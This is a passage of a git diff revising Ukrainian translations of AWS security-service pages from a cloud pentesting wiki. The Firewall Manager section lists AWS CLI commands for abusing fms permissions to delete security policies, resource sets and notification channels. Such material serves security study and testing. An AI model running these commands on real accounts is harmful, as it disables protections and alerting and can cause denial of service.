**Взаємозв'язки**: Це містить інформацію про будь-які підключені **взаємозв'язки, які може мати ресурс**. Отже, в цьому розділі буде чіткий опис будь-якого взаємозв'язку з іншими ресурсами, які мав цей ресурс. Наприклад, якщо CI був для EC2 екземпляра, розділ взаємозв'язків може показати з'єднання з VPC разом з підмережею, в якій знаходиться EC2 екземпляр. -- **Поточна конфігурація:** Це відображатиме ту ж інформацію, яка була б згенерована, якщо б ви виконали опис або список API викликів, зроблених AWS CLI. AWS Config використовує ті ж API виклики, щоб отримати ту ж інформацію. +- **Атрибути**: Це містить загальну **інформацію про атрибути щодо фактичного ресурсу**. У цьому розділі також є унікальний ідентифікатор ресурсу та будь-які ключові значення тегів, які пов'язані з ресурсом. Тип ресурсу також вказується. Наприклад, якщо це був CI для EC2 екземпляра, типи ресурсів, які можуть бути вказані, можуть бути мережевий інтерфейс або еластична IP-адреса для цього EC2 екземпляра. +- **Взаємозв'язки**: Це містить інформацію про будь-які підключені **взаємозв'язки, які може мати ресурс**. Отже, в цьому розділі буде показано чіткий опис будь-якого взаємозв'язку з іншими ресурсами, які мав цей ресурс. Наприклад, якщо CI був для EC2 екземпляра, розділ взаємозв'язків може показати з'єднання з VPC разом з підмережею, в якій знаходиться EC2 екземпляр. +- **Поточна конфігурація:** Це відображатиме ту ж інформацію, яка була б згенерована, якби ви виконали опис або список API викликів, зроблених AWS CLI. AWS Config використовує ті ж API виклики, щоб отримати ту ж інформацію. - **Пов'язані події**: Це стосується AWS CloudTrail. Це відображатиме **ідентифікатор події AWS CloudTrail, який пов'язаний зі зміною, що викликала створення цього CI**. Для кожної зміни, внесеної до ресурсу, створюється новий CI. Як результат, будуть створені різні ідентифікатори подій CloudTrail. **Історія конфігурації**: Можливо отримати історію конфігурації ресурсів завдяки елементам конфігурації. Історія конфігурації надається кожні 6 годин і містить всі CI для певного типу ресурсу. @@ -26,7 +26,7 @@ AWS Config **фіксує зміни ресурсів**, тому будь-як - Коли вносяться зміни, наприклад, до групи безпеки або списку контролю доступу до кошика —> викликається подія, яку фіксує AWS Config - Зберігає все в S3 кошику -- Залежно від налаштувань, як тільки щось змінюється, це може викликати функцію lambda АБО запланувати функцію lambda для періодичного перегляду налаштувань AWS Config +- Залежно від налаштування, як тільки щось змінюється, це може викликати функцію lambda АБО запланувати функцію lambda для періодичного перегляду налаштувань AWS Config - Lambda повертає дані до Config - Якщо правило було порушено, Config запускає SNS @@ -35,7 +35,7 @@ AWS Config **фіксує зміни ресурсів**, тому будь-як ### Правила Config Правила Config є чудовим способом допомогти вам **забезпечити конкретні перевірки відповідності** **та контролі для ваших ресурсів**, і дозволяє вам прийняти ідеальну специфікацію розгортання для кожного з ваших типів ресурсів. Кожне правило **по суті є функцією lambda**, яка, коли її викликають, оцінює ресурс і виконує просту логіку для визначення результату відповідності з правилом. **Кожного разу, коли вносяться зміни** до одного з ваших підтримуваних ресурсів, **AWS Config перевірить відповідність з будь-якими правилами конфігурації, які ви маєте на місці**.\ -AWS має кілька **попередньо визначених правил**, які підпадають під безпекову парасольку і готові до використання. Наприклад, Rds-storage-encrypted. Це перевіряє, чи активовано шифрування зберігання вашими екземплярами бази даних RDS. Encrypted-volumes. Це перевіряє, чи зашифровані будь-які EBS томи, які мають підключений стан. +AWS має кілька **попередньо визначених правил**, які підпадають під безпекову категорію і готові до використання. Наприклад, Rds-storage-encrypted. Це перевіряє, чи активовано шифрування зберігання вашими екземплярами бази даних RDS. Encrypted-volumes. Це перевіряє, чи зашифровані будь-які EBS томи, які мають підключений стан. - **Керовані правила AWS**: Набір попередньо визначених правил, які охоплюють багато найкращих практик, тому завжди варто спочатку переглянути ці правила, перш ніж налаштовувати свої власні, оскільки є ймовірність, що правило вже існує. - **Користувацькі правила**: Ви можете створити свої власні правила для перевірки конкретних користувацьких конфігурацій. diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-control-tower-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-control-tower-enum.md index f92bbf6e7..1bf3eff14 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-control-tower-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-control-tower-enum.md @@ -5,7 +5,7 @@ ## Control Tower > [!NOTE] -> У підсумку, Control Tower - це сервіс, який дозволяє визначати політики для всіх ваших облікових записів у вашій організації. Тож замість управління кожним з них ви можете встановити політики з Control Tower, які будуть застосовані до них. +> У підсумку, Control Tower - це сервіс, який дозволяє визначати політики для всіх ваших облікових записів у вашій організації. Тож замість того, щоб керувати кожним з них, ви можете встановити політики з Control Tower, які будуть застосовані до них. AWS Control Tower - це **сервіс, наданий Amazon Web Services (AWS)**, який дозволяє організаціям налаштовувати та управляти безпечним, відповідним, багатоконтурним середовищем в AWS. @@ -13,7 +13,7 @@ AWS Control Tower надає **заздалегідь визначений на З AWS Control Tower адміністратори можуть швидко налаштувати **багатоконтурне середовище, яке відповідає організаційним вимогам**, таким як **безпека** та відповідність. Сервіс надає центральну панель для перегляду та управління обліковими записами та ресурсами, а також автоматизує надання облікових записів, сервісів та політик. -Крім того, AWS Control Tower надає охоронні бар'єри, які є набором попередньо налаштованих політик, що забезпечують відповідність середовища організаційним вимогам. Ці політики можна налаштувати відповідно до конкретних потреб. +Крім того, AWS Control Tower надає контрольні механізми, які є набором попередньо налаштованих політик, що забезпечують відповідність середовища організаційним вимогам. Ці політики можна налаштувати відповідно до конкретних потреб. В цілому, AWS Control Tower спрощує процес налаштування та управління безпечним, відповідним, багатоконтурним середовищем в AWS, що полегшує організаціям зосередитися на своїх основних бізнес-цілях. @@ -31,7 +31,7 @@ aws controltower list-enabled-controls --target-identifier arn:aws:organizations > [!WARNING] > Control Tower також може використовувати **Account factory** для виконання **CloudFormation templates** в **рахунках та запуску сервісів** (privesc, post-exploitation...) в цих рахунках -### Пост експлуатація та стійкість +### Post Exploitation & Persistence {{#ref}} ../../aws-post-exploitation/aws-control-tower-post-exploitation.md diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cost-explorer-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cost-explorer-enum.md index 9948142d4..db1d7b6f8 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cost-explorer-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cost-explorer-enum.md @@ -4,12 +4,12 @@ ## Cost Explorer та виявлення аномалій -Це дозволяє вам перевірити **як ви витрачаєте гроші на послуги AWS** і допомагає вам **виявляти аномалії**.\ +Це дозволяє вам перевірити **як ви витрачаєте гроші на AWS послуги** і допомагає вам **виявляти аномалії**.\ Більше того, ви можете налаштувати виявлення аномалій, щоб AWS попереджав вас, коли буде виявлено **аномалію у витратах**. ### Бюджети Бюджети допомагають **управляти витратами та використанням**. Ви можете отримувати **сповіщення, коли досягається поріг**.\ -Також їх можна використовувати для моніторингу, не пов'язаного з витратами, наприклад, використання послуги (скільки ГБ використано в конкретному S3 бакеті?). +Також їх можна використовувати для моніторингу, не пов'язаного з витратами, наприклад, використання послуги (скільки ГБ використовується в конкретному S3 бакеті?). {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-detective-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-detective-enum.md index 1b84ccffb..acc40866d 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-detective-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-detective-enum.md @@ -6,7 +6,7 @@ **Amazon Detective** спрощує процес розслідування безпеки, роблячи його більш ефективним для **аналізу, розслідування та визначення корінної причини** проблем безпеки або незвичайної активності. Він автоматизує збір даних журналів з ресурсів AWS і використовує **машинне навчання, статистичний аналіз та теорію графів** для створення взаємопов'язаного набору даних. Ця налаштування значно підвищує швидкість і ефективність розслідувань безпеки. -Сервіс полегшує глибоке дослідження інцидентів безпеки, дозволяючи командам безпеки швидко зрозуміти та вирішити основні причини проблем. Amazon Detective аналізує величезні обсяги даних з джерел, таких як VPC Flow Logs, AWS CloudTrail та Amazon GuardDuty. Він автоматично генерує **всебічний, інтерактивний огляд ресурсів, користувачів та їх взаємодій з часом**. Ця інтегрована перспектива надає всі необхідні деталі та контекст в одному місці, що дозволяє командам розрізняти причини виявлень безпеки, досліджувати відповідні історичні активності та швидко визначати корінну причину. +Сервіс полегшує глибоке дослідження інцидентів безпеки, дозволяючи командам безпеки швидко зрозуміти та вирішити основні причини проблем. Amazon Detective аналізує величезні обсяги даних з джерел, таких як VPC Flow Logs, AWS CloudTrail та Amazon GuardDuty. Він автоматично генерує **всебічний, інтерактивний огляд ресурсів, користувачів та їх взаємодій з часом**. Ця інтегрована перспектива надає всі необхідні деталі та контекст в одному місці, що дозволяє командам розрізняти причини виявлень безпеки, вивчати відповідні історичні активності та швидко визначати корінну причину. ## References diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-firewall-manager-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-firewall-manager-enum.md index 3ce8ae458..6feb02664 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-firewall-manager-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-firewall-manager-enum.md @@ -4,13 +4,13 @@ ## Firewall Manager -**AWS Firewall Manager** спрощує управління та обслуговування **AWS WAF, AWS Shield Advanced, груп безпеки Amazon VPC та списків контролю доступу до мережі (ACL), а також AWS Network Firewall, AWS Route 53 Resolver DNS Firewall та сторонніх брандмауерів** через кілька облікових записів та ресурсів. Це дозволяє вам налаштувати правила брандмауера, захист Shield Advanced, групи безпеки VPC та налаштування Network Firewall лише один раз, при цьому сервіс **автоматично застосовує ці правила та захисти до ваших облікових записів та ресурсів**, включаючи новостворені. +**AWS Firewall Manager** спрощує управління та обслуговування **AWS WAF, AWS Shield Advanced, груп безпеки Amazon VPC та списків контролю доступу до мережі (ACL), а також AWS Network Firewall, AWS Route 53 Resolver DNS Firewall та сторонніх брандмауерів** через кілька облікових записів та ресурсів. Це дозволяє вам налаштувати правила брандмауера, захист Shield Advanced, групи безпеки VPC та налаштування Network Firewall лише один раз, при цьому сервіс **автоматично застосовує ці правила та захисти на ваших облікових записах та ресурсах**, включаючи нові. -Сервіс пропонує можливість **групувати та захищати конкретні ресурси разом**, наприклад, ті, що мають спільний тег або всі ваші розподіли CloudFront. Значною перевагою Firewall Manager є його здатність **автоматично розширювати захист на новостворені ресурси** у вашому обліковому записі. +Сервіс пропонує можливість **групувати та захищати конкретні ресурси разом**, наприклад, ті, що мають спільну мітку або всі ваші розподіли CloudFront. Значною перевагою Firewall Manager є його здатність **автоматично розширювати захист на нові ресурси**, додані до вашого облікового запису. -**Група правил** (збірка правил WAF) може бути включена до політики AWS Firewall Manager, яка потім пов'язується з конкретними ресурсами AWS, такими як розподіли CloudFront або балансувальники навантаження додатків. +**Група правил** (збірка правил WAF) може бути включена до Політики AWS Firewall Manager, яка потім пов'язується з конкретними ресурсами AWS, такими як розподіли CloudFront або балансувальники навантаження додатків. -AWS Firewall Manager надає **керовані списки додатків та протоколів** для спрощення налаштування та управління політиками груп безпеки. Ці списки дозволяють вам визначити протоколи та додатки, дозволені або заборонені вашими політиками. Існує два типи керованих списків: +AWS Firewall Manager надає **керовані списки додатків та протоколів** для спрощення налаштування та управління політиками груп безпеки. Ці списки дозволяють вам визначити протоколи та додатки, які дозволені або заборонені вашими політиками. Існує два типи керованих списків: - **Керовані списки Firewall Manager**: Ці списки включають **FMS-Default-Public-Access-Apps-Allowed**, **FMS-Default-Protocols-Allowed** та **FMS-Default-Protocols-Allowed**. Вони керуються Firewall Manager і включають загальновживані додатки та протоколи, які повинні бути дозволені або заборонені для загальної публіки. Немає можливості редагувати або видаляти їх, однак ви можете вибрати їх версію. - **Користувацькі керовані списки**: Ви керуєте цими списками самостійно. Ви можете створювати користувацькі списки додатків та протоколів, адаптовані до потреб вашої організації. На відміну від керованих списків Firewall Manager, ці списки не мають версій, але ви маєте повний контроль над користувацькими списками, що дозволяє вам створювати, редагувати та видаляти їх за потреби. @@ -24,11 +24,11 @@ AWS Firewall Manager надає **керовані списки додатків 1. **Приєднайтеся та налаштуйте AWS Organizations:** Переконайтеся, що ваш обліковий запис AWS є частиною організації AWS Organizations, де планується впровадження політик AWS Firewall Manager. Це дозволяє централізовано управляти ресурсами та політиками через кілька облікових записів AWS в межах організації. 2. **Створіть обліковий запис адміністратора за замовчуванням AWS Firewall Manager:** Встановіть обліковий запис адміністратора за замовчуванням, спеціально для управління політиками безпеки Firewall Manager. Цей обліковий запис буде відповідати за налаштування та застосування політик безпеки по всій організації. Лише обліковий запис управління організації може створювати облікові записи адміністратора за замовчуванням Firewall Manager. 3. **Увімкніть AWS Config:** Активуйте AWS Config, щоб надати Firewall Manager необхідні дані конфігурації та інсайти, необхідні для ефективного застосування політик безпеки. AWS Config допомагає аналізувати, перевіряти, моніторити та перевіряти конфігурації ресурсів та зміни, що сприяє кращому управлінню безпекою. -4. **Для політик сторонніх постачальників підпишіться в AWS Marketplace та налаштуйте параметри сторонніх постачальників:** Якщо ви плануєте використовувати політики брандмауера сторонніх постачальників, підпишіться на них у AWS Marketplace та налаштуйте необхідні параметри. Цей крок забезпечує інтеграцію та застосування політик від надійних сторонніх постачальників. +4. **Для політик сторонніх постачальників підпишіться в AWS Marketplace та налаштуйте параметри сторонніх постачальників:** Якщо ви плануєте використовувати політики брандмауера сторонніх постачальників, підпишіться на них в AWS Marketplace та налаштуйте необхідні параметри. Цей крок забезпечує інтеграцію та застосування політик від надійних сторонніх постачальників. 5. **Для політик Network Firewall та DNS Firewall увімкніть спільний доступ до ресурсів:** Увімкніть спільний доступ до ресурсів спеціально для політик Network Firewall та DNS Firewall. Це дозволяє Firewall Manager застосовувати захист брандмауера до VPC вашої організації та DNS-резолюції, підвищуючи безпеку мережі. 6. **Щоб використовувати AWS Firewall Manager у регіонах, які за замовчуванням вимкнені:** Якщо ви плануєте використовувати Firewall Manager у регіонах AWS, які за замовчуванням вимкнені, переконайтеся, що ви вжили необхідних заходів для активації його функціональності в цих регіонах. Це забезпечує послідовне застосування безпеки у всіх регіонах, де працює ваша організація. -Для отримання додаткової інформації перегляньте: [Початок роботи з політиками AWS Firewall Manager AWS WAF](https://docs.aws.amazon.com/waf/latest/developerguide/getting-started-fms.html). +Для отримання додаткової інформації перегляньте: [Getting started with AWS Firewall Manager AWS WAF policies](https://docs.aws.amazon.com/waf/latest/developerguide/getting-started-fms.html). ### Types of protection policies @@ -41,8 +41,8 @@ AWS Firewall Manager управляє кількома типами політи 5. **Політика Network Firewall:** Ця політика застосовує захист AWS Network Firewall до VPC вашої організації, підвищуючи безпеку мережі шляхом фільтрації трафіку на основі попередньо визначених правил. 6. **Політика DNS Firewall Amazon Route 53 Resolver:** Ця політика застосовує захист DNS Firewall до VPC вашої організації, допомагаючи блокувати спроби шкідливої резолюції доменів та забезпечувати політики безпеки для DNS-трафіку. 7. **Політика брандмауера сторонніх постачальників:** Цей тип політики застосовує захист від брандмауерів сторонніх постачальників, які доступні за підпискою через консоль AWS Marketplace. Це дозволяє інтегрувати додаткові заходи безпеки від надійних постачальників у ваше середовище AWS. -1. **Політика Palo Alto Networks Cloud NGFW:** Ця політика застосовує захист Palo Alto Networks Cloud Next Generation Firewall (NGFW) та набори правил до VPC вашої організації, забезпечуючи просунуте запобігання загрозам та контроль безпеки на рівні додатків. -2. **Політика Fortigate Cloud Native Firewall (CNF) як послуга:** Ця політика застосовує захист Fortigate Cloud Native Firewall (CNF) як послуги, пропонуючи провідне в галузі запобігання загрозам, брандмауер веб-додатків (WAF) та захист API, адаптований для хмарних інфраструктур. +1. **Політика Palo Alto Networks Cloud NGFW:** Ця політика застосовує захист Palo Alto Networks Cloud Next Generation Firewall (NGFW) та набори правил до VPC вашої організації, забезпечуючи передову профілактику загроз та контроль безпеки на рівні додатків. +2. **Політика Fortigate Cloud Native Firewall (CNF) as a Service:** Ця політика застосовує захист Fortigate Cloud Native Firewall (CNF) as a Service, пропонуючи провідну в галузі профілактику загроз, веб-брандмауер (WAF) та захист API, адаптований для хмарних інфраструктур. ### Administrator accounts @@ -54,7 +54,7 @@ AWS Firewall Manager пропонує гнучкість в управлінні - Регіони, в яких адміністратор може виконувати дії. - Типи політик Firewall Manager, якими адміністратор може управляти. -Адміністративний обсяг може бути **повним або обмеженим**. Повний обсяг надає адміністратору доступ до **всіх вказаних типів ресурсів, регіонів та типів політик**. На відміну від цього, **обмежений обсяг надає адміністративні права лише на підмножину ресурсів, регіонів або типів політик**. Рекомендується надавати адміністраторам лише ті дозволи, які їм потрібні для ефективного виконання своїх обов'язків. Ви можете застосувати будь-яку комбінацію цих умов адміністративного обсягу до адміністратора, забезпечуючи дотримання принципу найменшого привілею. +Адміністративний обсяг може бути **повним або обмеженим**. Повний обсяг надає адміністратору доступ до **всіх вказаних типів ресурсів, регіонів та типів політик**. Натомість **обмежений обсяг надає адміністративні права лише на підмножину ресурсів, регіонів або типів політик**. Рекомендується надавати адміністраторам лише ті дозволи, які їм потрібні для ефективного виконання своїх обов'язків. Ви можете застосувати будь-яку комбінацію цих умов адміністративного обсягу до адміністратора, забезпечуючи дотримання принципу найменшого привілею. Існує два різних типи облікових записів адміністратора, кожен з яких виконує специфічні ролі та обов'язки: @@ -66,14 +66,14 @@ AWS Firewall Manager пропонує гнучкість в управлінні - **Адміністратори Firewall Manager:** - Ці адміністратори можуть управляти ресурсами в межах обсягу, визначеного обліковим записом управління AWS Organizations, як це визначено конфігурацією адміністративного обсягу. - Адміністратори Firewall Manager створюються для виконання специфічних ролей в організації, що дозволяє делегувати обов'язки, зберігаючи при цьому стандарти безпеки та відповідності. -- Після створення Firewall Manager перевіряє з AWS Organizations, щоб визначити, чи є обліковий запис вже делегованим адміністратором. Якщо ні, Firewall Manager викликає Organizations, щоб призначити обліковий запис делегованим адміністратором для Firewall Manager. +- Після створення Firewall Manager перевіряє з AWS Organizations, чи є обліковий запис вже делегованим адміністратором. Якщо ні, Firewall Manager викликає Organizations, щоб призначити обліковий запис делегованим адміністратором для Firewall Manager. -Управління цими обліковими записами адміністратора включає їх створення в Firewall Manager та визначення їх адміністративних обсягів відповідно до вимог безпеки організації та принципу найменшого привілею. Призначаючи відповідні адміністративні ролі, організації можуть забезпечити ефективне управління безпекою, зберігаючи при цьому детальний контроль над доступом до чутливих ресурсів. +Управління цими обліковими записами адміністраторами передбачає їх створення в Firewall Manager та визначення їх адміністративних обсягів відповідно до вимог безпеки організації та принципу найменшого привілею. Призначаючи відповідні адміністративні ролі, організації можуть забезпечити ефективне управління безпекою, зберігаючи при цьому детальний контроль над доступом до чутливих ресурсів. Важливо підкреслити, що **лише один обліковий запис в організації може виконувати роль адміністратора за замовчуванням Firewall Manager**, дотримуючись принципу "**перший прийшов, останній вийшов**". Щоб призначити нового адміністратора за замовчуванням, необхідно виконати ряд кроків: - По-перше, кожен обліковий запис адміністратора Firewall Administrator повинен відкликати свій власний обліковий запис. -- Потім існуючий адміністратор за замовчуванням може відкликати свій власний обліковий запис, фактично виводячи організацію з Firewall Manager. Цей процес призводить до видалення всіх політик Firewall Manager, створених відкликаним обліковим записом. +- Потім існуючий адміністратор за замовчуванням може відкликати свій власний обліковий запис, ефективно виводячи організацію з Firewall Manager. Цей процес призводить до видалення всіх політик Firewall Manager, створених відкликаним обліковим записом. - На завершення, обліковий запис управління AWS Organizations повинен призначити адміністратора за замовчуванням Firewall Manager. ## Enumeration @@ -212,7 +212,7 @@ aws fms delete-policy --policy-id [--delete-all-policy-resources | --no- ### `fms:BatchAssociateResource`, `fms:BatchDisassociateResource`, `fms:PutResourceSet`, `fms:DeleteResourceSet` -Атакуючий з правами **`fms:BatchAssociateResource`** та **`fms:BatchDisassociateResource`** зможе асоціювати або деасоціювати ресурси з набору ресурсів Firewall Manager відповідно. Крім того, права **`fms:PutResourceSet`** та **`fms:DeleteResourceSet`** дозволять атакуючому створювати, змінювати або видаляти ці набори ресурсів з AWS Firewall Manager. +Зловмисник з правами **`fms:BatchAssociateResource`** та **`fms:BatchDisassociateResource`** зможе асоціювати або деасоціювати ресурси з набору ресурсів Firewall Manager відповідно. Крім того, права **`fms:PutResourceSet`** та **`fms:DeleteResourceSet`** дозволять зловмиснику створювати, змінювати або видаляти ці набори ресурсів з AWS Firewall Manager. ```bash # Associate/Disassociate resources from a resource set aws fms batch-associate-resource --resource-set-identifier --items @@ -222,11 +222,11 @@ aws fms batch-disassociate-resource --resource-set-identifier --items [--tag-list ] aws fms delete-resource-set --identifier ``` -**Потенційний вплив:** Додавання надмірної кількості елементів до набору ресурсів збільшить рівень шуму в Сервісі, що потенційно може викликати DoS. Крім того, зміни наборів ресурсів можуть призвести до порушення ресурсів, ухилення від політики, порушення вимог та порушення контролю безпеки в середовищі. +**Потенційний вплив:** Додавання надмірної кількості елементів до набору ресурсів збільшить рівень шуму в Сервісі, що потенційно може викликати DoS. Крім того, зміни наборів ресурсів можуть призвести до порушення ресурсів, ухилення від політики, порушення вимог та порушення засобів безпеки в середовищі. ### `fms:PutAppsList`, `fms:DeleteAppsList` -Зловмисник з правами **`fms:PutAppsList`** та **`fms:DeleteAppsList`** зможе створювати, змінювати або видаляти списки додатків з AWS Firewall Manager. Це може бути критично важливо, оскільки несанкціонованим додаткам може бути надано доступ до загальної публіки, або доступ до авторизованих додатків може бути відхилено, що викликає DoS. +Зловмисник з правами **`fms:PutAppsList`** та **`fms:DeleteAppsList`** зможе створювати, змінювати або видаляти списки додатків з AWS Firewall Manager. Це може бути критично, оскільки несанкціонованим додаткам може бути надано доступ до загальної публіки, або доступ до авторизованих додатків може бути відхилено, що викличе DoS. ```bash aws fms put-apps-list --apps-list [--tag-list ] aws fms delete-apps-list --list-id @@ -235,7 +235,7 @@ aws fms delete-apps-list --list-id ### `fms:PutProtocolsList`, `fms:DeleteProtocolsList` -Зловмисник з правами **`fms:PutProtocolsList`** та **`fms:DeleteProtocolsList`** зможе створювати, змінювати або видаляти списки протоколів з AWS Firewall Manager. Аналогічно до списків додатків, це може бути критично важливим, оскільки несанкціоновані протоколи можуть використовуватися загальною публікою, або використання санкціонованих протоколів може бути заборонено, що призведе до DoS. +Зловмисник з правами **`fms:PutProtocolsList`** та **`fms:DeleteProtocolsList`** зможе створювати, змінювати або видаляти списки протоколів з AWS Firewall Manager. Подібно до списків додатків, це може бути критично важливо, оскільки несанкціоновані протоколи можуть використовуватися загальною публікою, або використання санкціонованих протоколів може бути заборонено, що призведе до DoS. ```bash aws fms put-protocols-list --apps-list [--tag-list ] aws fms delete-protocols-list --list-id @@ -244,9 +244,9 @@ aws fms delete-protocols-list --list-id ### `fms:PutNotificationChannel`, `fms:DeleteNotificationChannel` -Зловмисник з правами **`fms:PutNotificationChannel`** та **`fms:DeleteNotificationChannel`** зможе видаляти та призначати IAM роль і тему Amazon Simple Notification Service (SNS), яку Firewall Manager використовує для запису журналів SNS. +Зловмисник з правами **`fms:PutNotificationChannel`** та **`fms:DeleteNotificationChannel`** зможе видаляти та призначати роль IAM і тему Amazon Simple Notification Service (SNS), яку використовує Firewall Manager для запису журналів SNS. -Щоб використовувати **`fms:PutNotificationChannel`** поза консоллю, потрібно налаштувати політику доступу до теми SNS, дозволяючи вказаному **SnsRoleName** публікувати журнали SNS. Якщо наданий **SnsRoleName** є роллю, відмінною від **`AWSServiceRoleForFMS`**, вона вимагає налаштування довірчих відносин, щоб дозволити основному сервісу Firewall Manager **fms.amazonaws.com** приймати цю роль. +Щоб використовувати **`fms:PutNotificationChannel`** поза консоллю, потрібно налаштувати політику доступу до теми SNS, дозволяючи вказаному **SnsRoleName** публікувати журнали SNS. Якщо наданий **SnsRoleName** є роллю, відмінною від **`AWSServiceRoleForFMS`**, це вимагає налаштування довірчих відносин, щоб дозволити службовому принципалу Firewall Manager **fms.amazonaws.com** приймати цю роль. Для отримання інформації про налаштування політики доступу до SNS: @@ -257,11 +257,11 @@ aws fms delete-protocols-list --list-id aws fms put-notification-channel --sns-topic-arn --sns-role-name aws fms delete-notification-channel ``` -**Потенційний вплив:** Це може призвести до пропущених сповіщень про безпеку, затримки у реагуванні на інциденти, потенційних витоків даних та оперативних збоїв у середовищі. +**Потенційний вплив:** Це може призвести до пропуску повідомлень про безпеку, затримки у реагуванні на інциденти, потенційних витоків даних та оперативних збоїв у середовищі. ### `fms:AssociateThirdPartyFirewall`, `fms:DisssociateThirdPartyFirewall` -Зловмисник з правами **`fms:AssociateThirdPartyFirewall`**, **`fms:DisssociateThirdPartyFirewall`** зможе асоціювати або дезасоціювати сторонні брандмауери для централізованого управління через AWS Firewall Manager. +Зловмисник з правами **`fms:AssociateThirdPartyFirewall`**, **`fms:DisssociateThirdPartyFirewall`** зможе асоціювати або від'єднувати сторонні брандмауери від централізованого управління через AWS Firewall Manager. > [!WARNING] > Тільки за замовчуванням адміністратор може створювати та керувати сторонніми брандмауерами. diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-guardduty-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-guardduty-enum.md index 3053bccad..629832fd5 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-guardduty-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-guardduty-enum.md @@ -4,22 +4,22 @@ ## GuardDuty -Згідно з [**документацією**](https://aws.amazon.com/guardduty/features/): GuardDuty поєднує **машинне навчання, виявлення аномалій, моніторинг мережі та виявлення шкідливих файлів**, використовуючи як AWS, так і провідні джерела третіх сторін для захисту робочих навантажень і даних на AWS. GuardDuty здатний аналізувати десятки мільярдів подій з кількох джерел даних AWS, таких як журнали подій AWS CloudTrail, журнали потоків Amazon Virtual Private Cloud (VPC), журнали аудиту та системні журнали Amazon Elastic Kubernetes Service (EKS), а також журнали запитів DNS. +Згідно з [**документацією**](https://aws.amazon.com/guardduty/features/): GuardDuty поєднує **машинне навчання, виявлення аномалій, моніторинг мережі та виявлення шкідливих файлів**, використовуючи як AWS, так і провідні джерела третіх сторін для захисту робочих навантажень і даних на AWS. GuardDuty здатний аналізувати десятки мільярдів подій з кількох джерел даних AWS, таких як журнали подій AWS CloudTrail, журнали Flow Amazon Virtual Private Cloud (VPC), журнали аудиту та системного рівня Amazon Elastic Kubernetes Service (EKS) та журнали запитів DNS. -Amazon GuardDuty **виявляє незвичну активність у ваших облікових записах**, аналізує **безпекову значущість** цієї активності та надає **контекст**, у якому вона була викликана. Це дозволяє відповідальному особі визначити, чи варто витрачати час на подальше розслідування. +Amazon GuardDuty **виявляє незвичну активність у ваших облікових записах**, аналізує **безпекову значущість** активності та надає **контекст**, у якому вона була викликана. Це дозволяє відповідальному особі визначити, чи варто витрачати час на подальше розслідування. Сповіщення **з'являються в консолі GuardDuty (90 днів)** та CloudWatch Events. > [!WARNING] -> Коли користувач **вимикає GuardDuty**, він перестає моніторити ваше середовище AWS і не генеруватиме нових виявлень, а **існуючі виявлення будуть втрачені**.\ +> Коли користувач **відключає GuardDuty**, він перестає моніторити ваше середовище AWS і не генеруватиме нових виявлень, а **існуючі виявлення будуть втрачені**.\ > Якщо ви просто зупините його, існуючі виявлення залишаться. ### Приклад Виявлень -- **Розвідка**: Активність, що вказує на розвідку зловмисника, така як **незвична активність API**, підозрілі спроби **входу** в базу даних, внутрішньо-VPC **сканування портів**, незвичні шаблони невдалих запитів на вхід, або проби незаблокованих портів з відомого поганого IP. -- **Компрометація інстансу**: Активність, що вказує на компрометацію інстансу, така як **майнінг криптовалюти, активність командного та контрольного (C\&C)** доступу, шкідливе ПЗ, що використовує алгоритми генерації доменів (DGA), вихідна активність відмови в обслуговуванні, незвично **високий обсяг** мережевого трафіку, незвичні мережеві протоколи, вихідна комунікація інстансу з відомим шкідливим IP, тимчасові облікові дані Amazon EC2, що використовуються зовнішньою IP-адресою, та ексфільтрація даних за допомогою DNS. -- **Компрометація облікового запису**: Загальні шаблони, що вказують на компрометацію облікового запису, включають виклики API з незвичної геолокації або анонімного проксі, спроби вимкнути ведення журналів AWS CloudTrail, зміни, що послаблюють політику паролів облікового запису, незвичні запуски інстансів або інфраструктури, розгортання інфраструктури в незвичному регіоні, крадіжка облікових даних, підозріла активність входу в базу даних, та виклики API з відомих шкідливих IP-адрес. -- **Компрометація бакету**: Активність, що вказує на компрометацію бакету, така як підозрілі шаблони доступу до даних, що вказують на зловживання обліковими даними, незвична активність API Amazon S3 з віддаленого хоста, несанкціонований доступ до S3 з відомих шкідливих IP-адрес, та виклики API для отримання даних у S3 бакетах від користувача без попередньої історії доступу до бакету або викликані з незвичного місця. Amazon GuardDuty постійно моніторить та аналізує події даних AWS CloudTrail S3 (наприклад, GetObject, ListObjects, DeleteObject) для виявлення підозрілої активності у всіх ваших бакетах Amazon S3. +- **Розвідка**: Активність, що вказує на розвідку зловмисника, така як **незвична активність API**, підозрілі спроби **входу** в базу даних, внутрішнє сканування портів VPC, незвичні шаблони невдалих запитів на вхід або проби незаблокованих портів з відомого поганого IP. +- **Компрометація інстанції**: Активність, що вказує на компрометацію інстанції, така як **майнінг криптовалюти, активність командного та контрольного (C\&C)** доступу, шкідливе ПЗ, що використовує алгоритми генерації доменів (DGA), вихідна активність відмови в обслуговуванні, незвично **високий обсяг** мережевого трафіку, незвичні мережеві протоколи, вихідна комунікація інстанції з відомим шкідливим IP, тимчасові облікові дані Amazon 